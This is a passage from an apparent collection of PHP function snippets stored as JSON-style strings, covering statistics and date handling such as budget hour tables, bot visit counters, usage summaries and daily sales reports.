= $jahrUndMonatWerte[\"Jahr\"];\n foreach ($jahrUndMonatWerte[\"monate\"] as $monat => $wert) {\n // Monatswerte nur fuer die letzten 365 Tage aufnehmen:\n if (!self::isOlder($jahr, $monat, $SHOW_DAYS)) {\n $monatWerte[$budgetName][\"\" . $jahr][\"\" . $monat] = $wert;\n }\n }\n }\n }\n\n // Summen über alle ARB Instanzen berechnen (Budget unabhaengig, da ARB Instanzen\n // mehreren Budgets gleichzeitig zugeordnet sein koennen\n $monatSumme = array();\n $jahrSumme = array();\n foreach ($jahre as $jahr) {\n foreach (array(\"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"10\", \"11\", \"12\") as $monat) {\n // Monatswerte nur fuer die letzten 365 Tage aufnehmen:\n $monatSumme[\"$jahr-$monat\"] = 0;\n }\n $jahrSumme[\"$jahr\"] = 0;\n }\n $arbInstances = Persistence::getInstances(\"ARB\", \"datum\", false, \"\", true);\n foreach ($arbInstances as $instance) {\n $h = $instance->getProperty(ARB::PROPERTY_STUNDEN, 0);\n list($tag, $monat, $jahr) = explode(\".\", $instance->getProperty(ARB::PROPERTY_DATUM, \"01.01.1800\"));\n if ($jahr >= 2017 && is_numeric($h)) {\n $jahrSumme[\"$jahr\"] += $h;\n $monatSumme[\"$jahr-$monat\"] += $h;\n }\n }\n\n // Darstellung:\n $table = \"<table>\";\n foreach ($monatWerte as $budgetName => $jahrWerte) {\n $table .= \"<tr><td>Budget</td><td style='width: 90px;'>Max</td>\";\n foreach ($jahrWerte as $jahr => $monate) {\n foreach ($monate as $monat => $wert) {\n $table .= \"<td>\" . $monat . \"/\" . ($jahr - 2000) . \"</td>\";\n }\n }\n foreach ($jahresWerte[$budgetName] as $jahr => $wert) {\n $table .= \"<td>$jahr</td>\";\n }\n break;\n }\n $table .= \"</tr>\";\n\n $trclass = \"odd\";\n foreach ($monatWerte as $budgetName => $jahrWerte) {\n $trclass = $trclass == \"odd\" ? \"even\" : \"odd\";\n $strong = \"\";\n foreach (array(\"#022\", \"#028\", \"#030\", \"#034\", \"#039\", \"400059\", \"412622\") as $s) {\n if (strpos($budgetName, $s) !== false) {\n $strong = \"strong\";\n }\n }\n $tr = \"<tr class='$trclass $strong'><td><span title='$budgetName'><span style='padding-right: 20px;'>\" . substr($budgetName, 0, 80) . \"</span></td>\";\n $tr .= \"<td>\" . $budgetAmount[\"\" . $budgetName] . \"</td>\";\n foreach ($jahrWerte as $jahr => $monate) {\n foreach ($monate as $monat => $wert) {\n // fuer unproduktive auch die % darstellen:\n $prozentm= (stripos($budgetName, \"unproduktiv\") !== false && $monatSumme[\"$jahr-$monat\"] > 0) ? round(($wert / $monatSumme[\"$jahr-$monat\"]) * 100, 0) . \"%\" : \"\";\n $title = \"$prozentm = $wert/\" . $monatSumme[\"$jahr-$monat\"] . \" h @ \";\n $title .= \"$jahr-$monat: $budgetName\";\n $tr .= \"<td title='$title' style='width: 60px;'>$wert<br><strong>$prozentm</strong></td>\";\n }\n }\n foreach ($jahresWerte[$budgetName] as $jahr => $wert) {\n // fuer unproduktive auch die % darstellen:\n $prozent = $jahrSumme[\"$jahr\"] > 0 ? round((($wert / $jahrSumme[\"$jahr\"]) * 100), 1) . \"%\" : \"\";\n $title = (stripos($budgetName, \"unproduktiv\") !== false ? \"$prozent = $wert/\" . $jahrSumme[\"$jahr\"] . \" h\" : \"\");\n $text = $title == \"\" ? \"\" : \"<br><strong>$prozent</strong>\";\n $tr .= \"<td title='$title' style='width: 80px;'>$wert$text</td>\";\n }\n $tr .= \"</tr>\";\n $table .= \"$tr\";\n }\n $table .= \"</table>\";\n\n return \"$table\";\n }",
"public function getDailyStatistics()\n {\n $date = new \\DateTime();\n $date = $date->format('Y-m-d');\n\n $builder = $this->createQueryBuilder(\"a\");\n\n $builder\n ->where('a.date = :date')\n ->setParameter('date', $date);\n\n $result = $builder->getQuery()->getOneOrNullResult();\n\n return $result;\n }",
"public function ReportesData(){\n\t\t$this->status=\"1\";\n\t\t$this->created_at = \"NOW()\";\n\t}",
"public static function saveStats()\r\n {\r\n }",
"function timestamp() {\n\t\tif (isset($this->_timestamp)) return $this->_timestamp;\n\t\t$this->_timestamp = 0;\n\t\tforeach (new DirectoryIterator($this->data_path()) as $child) {\n\t\t\t$filename = $child->getFilename();\n\t\t\tif ($filename[0] == '.') continue;\n\t\t\tif ($child->getMTime() > $this->_timestamp) $this->_timestamp = $child->getMTime();\n\t\t}\n\t\treturn $this->_timestamp;\n\t}",
"protected function getBotStatSummary()\n {\n $today = date('Y-m-d');\n $yesterday = date('Y-m-d', mktime(0, 0, 0, date(\"m\"), date(\"d\")-1, date(\"Y\")));\n\n $this->TemplatePartial = new \\BackendTemplate('mod_botstatistics_be_stat_partial_summary');\n \n $this->TemplatePartial->AnzBotYesterday = 0;\n $this->TemplatePartial->AnzVisitsYesterday = 0;\n $this->TemplatePartial->AnzPagesYesterday = 0;\n $this->TemplatePartial->AnzBotToday = 0;\n $this->TemplatePartial->AnzVisitsToday = 0;\n $this->TemplatePartial->AnzPagesToday = 0;\n $this->TemplatePartial->bot_module_id = $this->intModuleID;\n $this->TemplatePartial->theme = $this->getTheme();\n \n //Anzahl der Bots mit Summe Besuche und Seitenzugriffe\n $objBotStatCount = \\Database::getInstance()\n ->prepare(\"SELECT \n count(distinct `bot_name`) AS AnzBot, \n (SELECT \n sum(`bot_counter`) \n FROM \n `tl_botstatistics_counter` \n WHERE \n `bot_module_id`=?\n ) AS AnzVisits\n FROM \n `tl_botstatistics_counter` \n WHERE \n `bot_module_id`=?\n \")\n ->execute($this->intModuleID, $this->intModuleID);\n $this->TemplatePartial->AnzBot = $objBotStatCount->AnzBot;\n $this->TemplatePartial->AnzVisits = ($objBotStatCount->AnzVisits) ? $objBotStatCount->AnzVisits : 0;\n //Anzahl Seitenzugriffe\n $objBotStatCount = \\Database::getInstance()\n ->prepare(\"SELECT \n sum(`bot_page_alias_counter`) AS AnzPages\n FROM \n `tl_botstatistics_counter_details` d\n INNER JOIN \n `tl_botstatistics_counter` c ON d.pid = c.id\n WHERE \n c.`bot_module_id`=?\n \")\n ->execute($this->intModuleID);\n $this->TemplatePartial->AnzPages = ($objBotStatCount->AnzPages) ? $objBotStatCount->AnzPages : 0;\n \n //Anzahl Bots Heute/Gestern Besuche/Hits \n $objBotStatCount = \\Database::getInstance()\n ->prepare(\"SELECT \n `bot_date`, \n count(distinct `bot_name`) AS AnzBot, \n sum(`bot_counter`) AS AnzVisits\n FROM \n `tl_botstatistics_counter`\n WHERE \n `bot_module_id`=?\n AND \n `bot_date`>=?\n GROUP BY \n `bot_date`\n \")\n ->execute($this->intModuleID, $yesterday);\n while ($objBotStatCount->next())\n {\n if ($objBotStatCount->bot_date == $yesterday)\n {\n $this->TemplatePartial->AnzBotYesterday = $objBotStatCount->AnzBot;\n $this->TemplatePartial->AnzVisitsYesterday = $objBotStatCount->AnzVisits;\n \n }\n if ($objBotStatCount->bot_date == $today) \n { \n $this->TemplatePartial->AnzBotToday = $objBotStatCount->AnzBot;\n $this->TemplatePartial->AnzVisitsToday = $objBotStatCount->AnzVisits;\n }\n }\n // Anzahl Seiten Gesamt - Heute/Gestern\n $objBotStatCount = \\Database::getInstance()\n ->prepare(\"SELECT \n `bot_date`, \n sum(`bot_page_alias_counter`) AS AnzPages \n FROM \n `tl_botstatistics_counter`\n INNER JOIN \n `tl_botstatistics_counter_details` ON `tl_botstatistics_counter`.id=`tl_botstatistics_counter_details`.pid\n WHERE \n `bot_module_id`=? \n AND \n `bot_date`>=?\n GROUP BY \n `bot_date`\n \")\n ->execute($this->intModuleID, $yesterday);\n while ($objBotStatCount->next())\n {\n if ($objBotStatCount->bot_date == $yesterday)\n {\n $this->TemplatePartial->AnzPagesYesterday = $objBotStatCount->AnzPages;\n \n }\n if ($objBotStatCount->bot_date == $today)\n {\n $this->TemplatePartial->AnzPagesToday = $objBotStatCount->AnzPages;\n }\n }\n \n //Anzahl Besuche aktuelle Woche, letzte Woche\n $this->TemplatePartial->AnzBotWeek = 0;\n $this->TemplatePartial->AnzVisitsWeek = 0;\n $this->TemplatePartial->AnzPagesWeek = 0;\n $this->TemplatePartial->AnzBotLastWeek = 0;\n $this->TemplatePartial->AnzVisitsLastWeek = 0;\n $this->TemplatePartial->AnzPagesLastWeek = 0;\n\n $CurrentWeek = date('W'); \n $LastWeek = date('W', mktime(0, 0, 0, date(\"m\"), date(\"d\")-7, date(\"Y\")) );\n //Besonderheit beachten das der 1.1. die 53. Woche sein kann!\n $YearCurrentWeek = ($CurrentWeek > 40 && (int)date('m') == 1) ? date('Y')-1 : date('Y');\n $YearLastWeek = ($LastWeek > 40 && (int)date('m') == 1) ? date('Y')-1 : date('Y');\n $objBotStatCount = \\Database::getInstance()\n ->prepare(\"SELECT \n YEARWEEK( `bot_date`, 3 ) AS YW, \n COUNT(DISTINCT `bot_name`) AS AnzBotWeek, \n SUM(`bot_counter`) AS AnzVisitsWeek \n FROM \n `tl_botstatistics_counter`\n WHERE \n `bot_module_id`=?\n AND \n YEARWEEK( `bot_date`, 3 ) BETWEEN ? AND ?\n GROUP BY YW\n ORDER BY YW DESC\n \")\n ->execute($this->intModuleID, \n $YearLastWeek.$LastWeek, \n $YearCurrentWeek.$CurrentWeek);\n while ($objBotStatCount->next())\n {\n if ($objBotStatCount->YW == $YearCurrentWeek.$CurrentWeek)\n {\n $this->TemplatePartial->AnzBotWeek = $objBotStatCount->AnzBotWeek;\n $this->TemplatePartial->AnzVisitsWeek = $objBotStatCount->AnzVisitsWeek;\n \n }\n if ($objBotStatCount->YW == $YearLastWeek.$LastWeek)\n {\n $this->TemplatePartial->AnzBotLastWeek = $objBotStatCount->AnzBotWeek;\n $this->TemplatePartial->AnzVisitsLastWeek = $objBotStatCount->AnzVisitsWeek;\n }\n }\n //Anzahl Hits aktuelle, letzte Woche\n $objBotStatCount = \\Database::getInstance()\n ->prepare(\"SELECT \n YEARWEEK( c.`bot_date`, 3 ) AS YW, \n sum(d.`bot_page_alias_counter`) AS AnzPages\n FROM \n `tl_botstatistics_counter` c\n INNER JOIN \n `tl_botstatistics_counter_details` d ON c.id=d.pid\n WHERE \n c.`bot_module_id`=?\n AND \n YEARWEEK( c.`bot_date`, 3 ) BETWEEN ? AND ?\n GROUP BY YW\n ORDER BY YW DESC\n \")\n ->execute($this->intModuleID, $YearLastWeek.$LastWeek, $YearCurrentWeek.$CurrentWeek);\n while ($objBotStatCount->next())\n {\n if ($objBotStatCount->YW == $YearCurrentWeek.$CurrentWeek)\n {\n $this->TemplatePartial->AnzPagesWeek = $objBotStatCount->AnzPages;\n \n }\n if ($objBotStatCount->YW == $YearLastWeek.$LastWeek)\n {\n $this->TemplatePartial->AnzPagesLastWeek = $objBotStatCount->AnzPages;\n }\n }\n \n return $this->TemplatePartial->parse();\n }",
"public function getDatenaissance()\n {\n return $this->date_naissance;\n }",
"public function getDatenaisssance()\n {\n return $this->datenaisssance;\n }",
"public function getDateVisite() {\n return $this->dateVisite;\n }",
"function nex_day_stats()\n{\n\t\t\tdate_default_timezone_set(\"GMT\");// gmt as defult\n\t\t\t$today = date('Y-m-d');// simply get time in gmt \n\t\t\t\n\t\t\t$query=$this->db->get('person');\n\t\t\t\t\n\t\t\t\tforeach($query-> result() as $row):\n\t\t\t\t\t \n\t\t\t\t\t $id=$row->id;\n\t\t\t\t\t\t// testing if the date exist already before just to provide more security \n\t\t\t\t\t\t$testexist=$this->db->get_where('stats',array('personid' => $id, 'date' => $today));\n\t\t\t\t\t \n\t\t\t\t\t if(!$testexist->result())\n\t\t\t\t\t {\n\t\t\t\t\t $array = array(\n\t\t\t\t\t\t\t 'personid' => $id,\n\t\t\t\t\t\t\t 'inlike' => 0, \n\t\t\t\t\t\t\t 'outlike' => 0, \n\t\t\t\t\t\t\t 'inhate' => 0, \n\t\t\t\t\t\t\t 'outhate' => 0, \n\t\t\t\t\t\t\t 'date' =>$today // insert gmt time in table\n\t\t\t\t\t\t\t );\t\n\t\t\t\t\t $this->db->set($array);\t\t \n\t\t\t\t\t $this->db->insert('stats'); \n\t\t\t\t\t } \n\t\t\telse { \n\t\t\techo \"this person:\" .$row->name.\" ID:\".$row->id.\" already has an entry in stat table for today:\".$today.'<br><br>' ; \n\t\t\t}\n\t\t\t\tendforeach;\n\t\t\t\t$this->db->limit(1);\n\t\t\t\t$this->db->set('today',$today);\n\t\t\t\t$this->db->update('site');\n}",
"protected function UpdateStats() {\n\n $Path= $this->StorageDir.'/Stats.txt';\n // load and parse file\n $Lines= explode(\"\\n\", file_get_contents($Path));\n $Parsed= [];\n foreach($Lines as $Line) {\n $Parts= explode(':', $Line, 2);\n if (count($Parts) > 1) {\n $Parsed[$Parts[0]]= trim(end($Parts));\n }\n }\n // update values\n $Period= $Parsed['Period'] ?: date('r').' - 0';\n $Stats= $Parsed;\n foreach($this->Stats as $k => $v) {\t// transfer values from buffer\n $Stats[$k]= isset($Parsed[$k]) ? intval($Parsed[$k]) + $v : $v;\n }\n // prepare report\n array_walk($Stats, function(&$v, $k){$v= \"$k: $v\";});\n natcasesort($Stats);\n unset($Stats['Period']);\n array_unshift($Stats, 'Period: '.trim(explode(' - ', $Period)[0]).' - '.date('r'), '');\n // save\n file_put_contents($Path, implode(\"\\n\", $Stats));\n }",
"public function init()\n {\n $this->hoje = new DateTime('now');\n $this->diasBaseLine = $this->numdiasbaseline;\n $this->diasReal = $this->numdiasrealizados;\n }",
"protected function renderStats() {\n\t\t$stats = WCF::getCache()->get('stat');\n\t\tWCF::getTPL()->assign('stats', $stats);\n\t}",
"public function getStats()\n {\n return $this->stats;\n }",
"private function __dailyHealthIndicator() {\n\t\t\t\t\n\t\t$userTimezone = $this->Auth->user('timezone');\n\t\t\n\t\tif ($this->_requestedUser['id'] != $this->Auth->user('id')) {\n $userId = $this->_requestedUser['id']; \n\t\t} else {\n\t\t\t$userId = $this->Auth->user('id');\t\t\t\n\t\t}\n\t\t //set date as today\n\n $todayInUserTimeZone = CakeTime::convert(time(), new DateTimeZone($userTimezone));\n $date_today = CakeTime::format($todayInUserTimeZone, '%m/%d/%Y');\n\t\t\n $dailyHealthIndicator = array();\n // it contains symptoms with latest_record_value null\n $userSymptoms = $this->UserSymptom->getSymptomIdsWithLatestValue($userId);\n\n /*\n * Fetch symptom details \n */\n foreach ($userSymptoms as $userSymptom) {\n $symptomId = $userSymptom ['UserSymptom'] ['symptom_id']; // symptom id\n $symptomName = $this->Symptom->getSymptomNameFromId($symptomId); // symptom name\n $symptomRecordValueJSON = $userSymptom ['UserSymptom'] ['latest_record_value']; // recorded value\n $symptomSeverityValue = 0;\n $lastUpdatedDate = NULL;\n if (!empty($symptomRecordValueJSON)) {\n $symptomLatestRecordValue = json_decode($symptomRecordValueJSON, TRUE); // Decode the json value\n $userTodayDate = date('Y-m-d', $todayInUserTimeZone);\n $lastUpdatedDateInTime = key($symptomLatestRecordValue);\n\n if (!is_null($lastUpdatedDateInTime)) {\n $symptomSeverityValue = $symptomLatestRecordValue [$lastUpdatedDateInTime];\n $lastUpdatedDate = date('m/d/Y', $lastUpdatedDateInTime);\n }\n// debug($lastUpdatedDate);\n // check todays severity added\n// if ( array_key_exists ( strtotime ( $userTodayDate ) , $symptomLatestRecordValue )) {\n// $symptomSeverityValue = $symptomLatestRecordValue[ strtotime ( $userTodayDate ) ];\n// }\n// foreach ($symptomRecordValue as $key => $value) {\n// //$record_date = date('Y-m-d', $key);\n// //debug($symptomName.\" \".date('Y-m-d H:i:s', $key) . \" \". strtotime($userTodayDate));\n// //check if there is record for user's today\n// if ($record_date == $userTodayDate) { //debug($key. \" \".strtotime($userTodayDate)); // debug($record_date. \" \".$userTodayDate); \n// //fetch todays reading\n// $symptomSeverityValue = $symptomRecordValue [$key];\n// }\n//// else {\n////\t\t\t\t\t$symptomSeverityValue = 0;\n////\t\t\t\t}\n// }\n }\n\n switch ($symptomSeverityValue) {\n case 1: $symptomSeverity = 'None';\n break;\n case 2: $symptomSeverity = 'Mild';\n break;\n case 3: $symptomSeverity = 'Moderate';\n break;\n case 4: $symptomSeverity = 'Severe';\n break;\n default:$symptomSeverity = 'No Data';\n }\n /*\n * save details to an array\n */\n $dailyHealthIndicator[] = array('id' => $symptomId, 'name' => $symptomName,\n 'severity' => $symptomSeverity, 'lastUpdated' => $lastUpdatedDate);\n }\n\t\t\n\t\treturn $dailyHealthIndicator; \n\n\t}",
"public function getDateSeance() {\r\n return $this->dateSeance;\r\n }",
"public function getUsageForDate()\n\t{\n\t\t$period = $this->periodToInt(Request::getString('period', $this->params->get('period', 'prior12')));\n\t\t$datetime = Request::getString('datetime', date(\"Y\") . '-' . date(\"m\")) . '-00 00:00:00';\n\n\t\t$db = Components\\Usage\\Helpers\\Helper::getUDBO();\n\n\t\t$sql = \"SELECT value, valfmt\n\t\t\t\tFROM `summary_user_vals`\n\t\t\t\tWHERE rowid=\" . $db->quote(1) . \" AND period=\" . $db->quote($period) . \" AND datetime=\" . $db->quote($datetime) . \"\n\t\t\t\tORDER BY colid\";\n\t\t$db->setQuery($sql);\n\t\t$results = $db->loadObjectList();\n\n\t\t$res_iden = 1;\n\t\t$org_iden = 1;\n\n\t\t$i = 0;\n\n\t\t$highest = 1;\n\n\t\tforeach ($results as $row)\n\t\t{\n\t\t\t$i++;\n\n\t\t\tif ($i == 2)\n\t\t\t{\n\t\t\t\t$highest = $row->value;\n\t\t\t}\n\n\t\t\tif ($i == 7)\n\t\t\t{\n\t\t\t\t$highest = $row->value;\n\t\t\t}\n\n\t\t\tif ($row->valfmt == 2 && $highest > 100)\n\t\t\t{\n\t\t\t\t$row->value = number_format(($row->value / $highest) * 100);\n\t\t\t}\n\n\t\t\tswitch ($i)\n\t\t\t{\n\t\t\t\tcase 3:\n\t\t\t\t\t$residence[] = array(\n\t\t\t\t\t\t'column' => 'US',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-visits-res-us'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 4:\n\t\t\t\t\t$residence[] = array(\n\t\t\t\t\t\t'column' => 'Asia',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-visits-res-asia'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 5:\n\t\t\t\t\t$residence[] = array(\n\t\t\t\t\t\t'column' => 'Europe',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-visits-res-europe'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 6:\n\t\t\t\t\t$residence[] = array(\n\t\t\t\t\t\t'column' => 'Other',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-visits-res-other'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 8:\n\t\t\t\t\t$organization[] = array(\n\t\t\t\t\t\t'column' => 'Education',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-visits-org-education'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 9:\n\t\t\t\t\t$organization[] = array(\n\t\t\t\t\t\t'column' => 'Industry',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-visits-org-industry'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 10:\n\t\t\t\t\t$organization[] = array(\n\t\t\t\t\t\t'column' => 'Government',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-visits-org-government'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 11:\n\t\t\t\t\t$organization[] = array(\n\t\t\t\t\t\t'column' => 'Other',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-visits-org-other'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t$sql = \"SELECT value\n\t\t\tFROM `summary_user_vals`\n\t\t\tWHERE rowid=\" . $db->quote(1) . \" AND period=\" . $db->quote($period) . \" AND datetime=\" . $db->quote($datetime) . \" AND colid=\" . $db->quote(1) . \"\n\t\t\tORDER BY datetime ASC\";\n\t\t$db->setQuery($sql);\n\t\t$result = $db->loadResult();\n\n\t\t$data = new stdClass;\n\t\t$data->visits = new stdClass;\n\t\t$data->visits->total = number_format($result);\n\t\t$data->visits->residence = $residence;\n\t\t$data->visits->organization = $organization;\n\n\t\t$sql = \"SELECT value, valfmt\n\t\t\t\tFROM `summary_user_vals`\n\t\t\t\tWHERE rowid=\" . $db->quote(4) . \" AND period=\" . $db->quote($period) . \" AND datetime=\" . $db->quote($datetime) . \"\n\t\t\t\tORDER BY colid\";\n\t\t$db->setQuery($sql);\n\t\t$results = $db->loadObjectList();\n\n\t\t$res_iden = 1;\n\t\t$org_iden = 1;\n\n\t\t$i = 0;\n\n\t\t$highest = 1;\n\n\t\tforeach ($results as $row)\n\t\t{\n\t\t\t$i++;\n\n\t\t\tif ($i == 2)\n\t\t\t{\n\t\t\t\t$highest = $row->value;\n\t\t\t}\n\n\t\t\tif ($i == 7)\n\t\t\t{\n\t\t\t\t$highest = $row->value;\n\t\t\t}\n\n\t\t\tif ($row->valfmt == 2 && $highest > 100)\n\t\t\t{\n\t\t\t\t$row->value = number_format(($row->value / $highest) * 100);\n\t\t\t}\n\n\t\t\tswitch ($i)\n\t\t\t{\n\t\t\t\tcase 3:\n\t\t\t\t\t$residence[] = array(\n\t\t\t\t\t\t'column' => 'US',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-downloads-res-us'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 4:\n\t\t\t\t\t$residence[] = array(\n\t\t\t\t\t\t'column' => 'Asia',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-downloads-res-asia'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 5:\n\t\t\t\t\t$residence[] = array(\n\t\t\t\t\t\t'column' => 'Europe',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-downloads-res-europe'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 6:\n\t\t\t\t\t$residence[] = array(\n\t\t\t\t\t\t'column' => 'Other',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-downloads-res-other'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 8:\n\t\t\t\t\t$organization[] = array(\n\t\t\t\t\t\t'column' => 'Education',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-downloads-org-education'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 9:\n\t\t\t\t\t$organization[] = array(\n\t\t\t\t\t\t'column' => 'Industry',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-downloads-org-industry'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 10:\n\t\t\t\t\t$organization[] = array(\n\t\t\t\t\t\t'column' => 'Government',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-downloads-org-government'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tcase 11:\n\t\t\t\t\t$organization[] = array(\n\t\t\t\t\t\t'column' => 'Other',\n\t\t\t\t\t\t'value' => $row->value,\n\t\t\t\t\t\t'key' => 'users-downloads-org-other'\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t$sql = \"SELECT value\n\t\t\tFROM `summary_user_vals`\n\t\t\tWHERE rowid=\" . $db->quote(4) . \" AND period=\" . $db->quote($period) . \" AND datetime=\" . $db->quote($datetime) . \" AND colid=\" . $db->quote(1) . \"\n\t\t\tORDER BY datetime ASC\";\n\t\t$db->setQuery($sql);\n\t\t$result = $db->loadResult();\n\n\t\t$data->downloads = new stdClass;\n\t\t$data->downloads->total = number_format($result);\n\t\t$data->downloads->residence = $residence;\n\t\t$data->downloads->organization = $organization;\n\n\t\t$db->setQuery(\n\t\t\t\"SELECT value\n\t\t\tFROM `summary_simusage_vals`\n\t\t\tWHERE `period` = \" . $db->quote($period) . \"\n\t\t\tAND `rowid`= \" . $db->quote(1) . \"\n\t\t\tAND `datetime`=\" . $db->quote($datetime) . \"\n\t\t\tORDER BY `datetime` ASC\"\n\t\t);\n\t\t$data->simulation_users = number_format($db->loadResult());\n\n\t\t$db->setQuery(\n\t\t\t\"SELECT value\n\t\t\tFROM `summary_simusage_vals`\n\t\t\tWHERE `period` = \" . $db->quote($period) . \"\n\t\t\tAND `rowid`= \" . $db->quote(2) . \"\n\t\t\tAND `datetime`=\" . $db->quote($datetime) . \"\n\t\t\tORDER BY `datetime` ASC\"\n\t\t);\n\t\t$data->simulation_jobs = number_format($db->loadResult());\n\n\t\t$db->setQuery(\n\t\t\t\"SELECT a.label,b.value,b.valfmt,a.plot,a.id\n\t\t\tFROM `summary_simusage` AS a\n\t\t\tINNER JOIN `summary_simusage_vals` AS b\n\t\t\tWHERE a.id=b.rowid AND b.period = \" . $db->quote($period) . \" AND b.datetime = \" . $db->quote($datetime) . \" AND a.id > 2\n\t\t\tORDER BY a.id\"\n\t\t);\n\t\t$data->simulation = $db->loadObjectList();\n\n\t\tforeach ($data->simulation as $key => $sim)\n\t\t{\n\t\t\t$sim->key = 'simulation-' . preg_replace('/[^a-z0-9\\-_]/', '', strtolower($sim->label));\n\t\t\t$sim->value = self::formatValue($sim->value, $sim->valfmt);\n\n\t\t\t$data->simulation[$key] = $sim;\n\t\t}\n\n\t\t//ob_clean();\n\t\techo json_encode($data);\n\t\tdie();\n\t}",
"function xstats_getDateDiff( $dateStart, $dateEnd) {\n $dateDiff = $dateEnd - $dateStart;\n $fullDays = floor($dateDiff/(60*60*24));\n $fullHours = floor(($dateDiff-($fullDays*60*60*24))/(60*60));\n $fullMinutes = floor(($dateDiff-($fullDays*60*60*24)-($fullHours*60*60))/60);\n $displayStr = \"\";\n if( $fullDays > 1 ) {\n $displayStr .= $fullDays.' Tage ';\n }else if( $fullDays > 0 ) {\n $displayStr .= $fullDays.' Tag ';\n }\n if( $fullHours > 1 ) {\n $displayStr .= $fullHours.' Stunden ';\n }else if( $fullHours > 0 ) {\n $displayStr .= $fullHours.' Stunde ';\n }\n if( $fullMinutes > 1 ) {\n $displayStr .= $fullMinutes.' Minuten ';\n }else if( $fullMinutes > 0 ) {\n $displayStr .= $fullMinutes.' Minute ';\n }\n if( $displayStr == \"\"){\n $displayStr = \"< 1 Minute\";\n }\n return( $displayStr );\n}",
"public function FireStatistical($date){\n $response = $this->dynamodb->scan(array(\n 'TableName' => $this->tableName\n ));\n\n $count = $response->get('Count');\n $statistical_date = array();\n for ($i = 0; $i < $count; $i++) {\n $timestart = $response->get('Items')[$i]['timestart']['S'];\n if(strpos($timestart, $date) !== false){\n array_push($statistical_date, $timestart);\n }\n }\n return count($statistical_date);\n }",
"function get_stattovday($dt){\n\t\t$dt1=$dt+24*60*60;\n\t\t$cnt='<table align=\"center\" cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" class=\"selstr\"><tbody><tr><th class=\"news_header lft\">Код</th><th class=\"news_header lft\">Наименование</th><th class=\"news_header cen\">Кол-во</th><th class=\"news_header rgt\">Сумма</th></tr>';\n\t\tglobal $db;\n\t\t$qy = $db->get_rows(\"select sum((o.summa-o.summa*o.skidka/100) * o.count ) as sm, sum(o.count) as cnt,p.title, p.param_kodtovara,o.prd_id from chudo_ishop_order_idet o ,chudo_ishop_products p, chudo_ishop_order_i c where c.data>=\".$dt.\" and c.data<\".$dt1.\" and o.order_id=c.id and p.id=o.prd_id group by o.prd_id order by p.param_kodtovara\");\n\t\tforeach($qy as $id=>$row){\n\t\t\t$cnt.='<tr><td class=\"news_td lft\">'.$row['param_kodtovara'].'</td><td class=\"news_td lft cli\" onclick=\"view_statdt(this,'.$dt.','.$row['prd_id'].')\">'.$row['title'].'</td><td class=\"news_td cen\">'.$row['cnt'].'</td><td class=\"news_td rgt\">'.number_format($row['sm'],2,'.',\"\").'</td></tr>';\n\t\t}\n\t\t$cnt.='</tbody></table><!--'.$dt.'-->';\n\t\treturn $cnt;\n\t}",
"function UpdateRiderStats($oDB, $riderID)\n{\n // Get Days/Month over several date ranges and pick the biggest value. For the purposes of this\n // calculation a month is 30.5 days\n $startDate365 = AddDays(date_create(), -364)->format(\"Y-m-d\");\n $startDate180 = AddDays(date_create(), -179)->format(\"Y-m-d\");\n $startDate60 = AddDays(date_create(), -59)->format(\"Y-m-d\");\n $startDate30 = AddDays(date_create(), -29)->format(\"Y-m-d\");\n $endDate = date_create()->format(\"Y-m-d\");\n $sql = \"SELECT SUM(IF(RideLogTypeID=1, Distance, 0)) AS CMiles365,\n COUNT(DISTINCT IF(RideLogTypeID=1, Date, NULL)) AS CDays365,\n COUNT(DISTINCT IF(RideLogTypeID=1 OR RideLogTypeID=3, Date, NULL)) AS CEDays365,\n COUNT(DISTINCT IF(Date BETWEEN '$startDate180' AND '$endDate' AND (RideLogTypeID=1 OR RideLogTypeID=3), Date, NULL)) AS CEDays180,\n COUNT(DISTINCT IF(Date BETWEEN '$startDate60' AND '$endDate' AND (RideLogTypeID=1 OR RideLogTypeID=3), Date, NULL)) AS CEDays60,\n 